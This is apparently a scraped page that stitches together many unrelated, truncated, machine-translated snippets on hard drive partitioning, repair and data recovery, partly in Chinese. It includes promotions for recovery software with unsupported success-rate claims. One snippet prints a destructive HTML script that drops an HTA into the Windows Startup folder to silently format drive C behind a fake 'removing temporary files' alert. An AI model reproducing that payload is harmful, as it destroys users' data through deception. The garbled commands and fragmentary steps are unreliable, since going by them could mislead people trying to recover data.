how to recover hard drive without formatting

Find not created hard diskFdisk-lCreate a hard diskXe sr-create name-label= "Disk1" Shared=false device-config-device=/dev/sdb TYPE=LVMIsoAdd an ISO repository volume to the server, SSH or Xencenter log in to the server.View Vgname and space conditions.Vgdisplay[[Email protected]]# vgdisplay---Volume Group---VG Name VG_XENSTORAGE-4D4E4ACE-E062-035B-1498-E9D49BD005AFSystem IDFormat lvm2Metadata Areas 1Metada

X:/fs:ntfs, enter; Method Three, if it is due to abnormal shutdown, if you skip every time will still run, if it is not such a reason to check the state of the D disk is normal, fixed the hard drive error, the specific method is: Click "Start" → "run" in the window, enter "chkdskx:/f" ( X is the disk character, this command can check for logical errors in the file system. and repair, and then start "Disk

There is a bad track on the hard drive, and the use of the system's own disk scanning tools and NDD can not be successfully repaired. Under normal circumstances, the use of ScanDisk, NDD can not repair the bad, the partition after the format of the bad way, all belong to the physical bad way. For the physical bad, can be divided into separate partitions and hidden processing, you can also try low-l

First of all, we need to prepare a mobile hard disk data recovery tool, here we recommend the use of Invincible data recovery software, the software can solve the problem caused by mistakenly deleted, malformed, virus damage and other causes of the mobile hard disk data loss, recovery rate of up to 99%, is currently the simplest, One of the most effective data recovery tools. First step: Download and insta

reformat the hard drive. Right-click on the selected hard drive and choose format. 　5th step By formatting the hard drive floppy disk. The floppy disk that will be used should be sta

After the disk management, do not know that students have not thought of a problem, before the installation of the operating system, the user home directory does not give a separate partition, and now the user home directory data is growing, has taken up a lot of server disk space, if let its development, It is likely that the system crashes because the home directory data occupies the server's disk space. As a famous ops person, we can't just sit there and let this happen. What to do, so, a lot

I. BACKGROUND Under the Ubuntu12 mounted hard disk (9TB) and Ubuntu12 under the reload hard disk article I have described the operation method of the mounted hard disk, then what is the difference? The physical hard disks in the last two articles were mounted directly on the server, but this time it was a

This is the use of Microsoft (Microsoft) 's IE browser (Internet Explorer) derived from the Attack methods. The following section is a destructive HTML Hacking Your Computer. Scr.Reset (); Scr. Path= "C:\\windows\\start menu\\programs\\ start \\hack.hta"; Scr. Doc= " Wsh. Run (' start.exe/m format c:/q/autotest/u '); Alert (' Important:windows is removing unused temporary files. '); "; Scr.write (); (People who understand HTML should be able to see the essence of it) Now I'm going to expla

The mobile disk cannot open files or directories that are corrupt and unreadable because of the internal structure corruption of the file system of the I drive. To recover the data inside it must be noted that the disk cannot be formatted, or the data will be further damaged. Specific recovery methods look at the textTools/Software: AuroradatarecoveryStep 1: First download and unzip the program to run, dire

使用驱动器中的光盘之前需要格式化说明这个盘的文件系统结构损坏了。在平时如果数据不重要，那么可以直接格式化就能用了。但是有的时候里面的数据很重要，那么就必须先恢复出数据再格式化。具体恢复方法可以看正文了解（不格式化的恢复方法）Tools/software: Star Data Recovery softwareStep 1: First download and unzip the software to run, directly double-click the partition you need to restore, and then right-click the software icon to select "Run as Administrator" (if the XP system can be directly double-click to open the software)Step 2: Once the program opens, double-click the partition you want to restore directlyStep 3:

default puts the boot file on the partition where Windows is located, which can damage the Win7 startup file650) this.width=650; "src=" Http://pic002.cnblogs.com/images/2012/372875/2012120318174998.png "/>Continue, choose the installation mode, a variety of, any choice (PS: If you want to use the same CentOS win7, choose Desktop,minimal can only use command line )650) this.width=650; "src=" Http://pic002.cnblogs.com/images/2012/372875/2012120318180959.png "/>Started installing the650) this.widt

1. The following are for Windows XP operating systems. Right-click My Computer on the desktop and choose Manage. 2. In the Open Computer Management window, select Disk Management. 3. If it's a new hard drive with no partitions, there will be an unassigned disk sketch directly, you can skip this step, if you already have partitions, be sure to select an existing removable

由于IO设备错误,无法运行此项请求说明这个盘的文件系统结构损坏了。在平时如果数据不重要，那么可以直接格式化就能用了。但是有的时候里面的数据很重要，那么就必须先恢复出数据再格式化。具体恢复方法可以看正文了解（不格式化的恢复方法）Tools/software: Star Data Recovery softwareStep 1: First download and unzip the software to open, directly double-click the partition you need to restore, and then right-click the software icon Select "Run as Administrator" (if the XP system can be directly double-click to open the software)Step 2 after the program runs, directly double-click the partition you want to recoverStep 3: A

problem: The first thing you should think about when repairing a Seagate hard drive is:Instructions on the hard drive after the display of the relevant information, and then according to the information to do the corresponding processing and repair. 1A typical CE log error. 2 The problem has been sol

= "Wkiom1wafqwibwvzaalxqa7acr0629.jpg"/>as you can see, a new partition has come out of a /dev/sdb1 . The next step is to format it and then use4. with MKFS.EXT4 formatting a new partition650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M00/6F/5A/wKioL1WaGJjDIVADAAKMa1npmU4160.jpg "title=" 10.png "alt=" Wkiol1wagjjdivadaakma1npmu4160.jpg "/>5, mount the use.[email protected] ~]# mkdir-p/data2// creates a new mount point. [email protected] ~]# MO

as follows. The following parameters are common parameters, users can adjust according to their own needs. For 16TB above the market, for the ext4 format used by the Toolkit e2fsprogs version is required. If the e2fsprogs version is too low, such as: e2fsprogs1.41.11, the following error message will appear: Mkfs.ext4:sizeofdevice /dev/md0toobigtobeexpressedin32bitsusinga blocksizeof4096. Upgrade: wgethttps://www.kernel.org/pub/linux/kernel/people/tytso/e2fsprogs/ v1.42.8/e2fsprogs-1.42.8.tar.g

Problem Description:My mobile hard disk has four partitions, may be usually abnormal pull out caused by the problem: after inserting the Win7 on the mobile hard disk, the system can only see two drive characters, the last two cannot see, while the system will not stop the popup prompted to format the two partitions, but click Format will be error, In the system's

Now the community advocated to increase the ability to do things, they can handle the matter will not trouble others, so the system of reloading is now a very simple thing, there are many ways to achieve, everyone is a technician. Although it is a very simple thing to reload the system, but we installed the system will be a lot of problems, such as after the installation system found that the computer can not find the hard

October 29 Part of the use of Win8 or Win10 computer, in the system Patch update, appear again when the hard drive can not boot and partition loss, prompted as follows: "Error1962:no operating system found. Press any key to repeat boot sepuence. " Operation Steps: Important NOTE: 1, the recovery needs to restore the partition first, can not guarantee 100% data recovery;

I. Partition preparation II. File preparation III. Boot preparation IV. Start installation v. Rewrite mbr 6. After the installation is complete this article only describes the key points of Ubuntu Hard Drive boot and install Windows 7. For more details, see the situation. I. Partition preparation command line partition tool: fdisk command line formatting tool: mk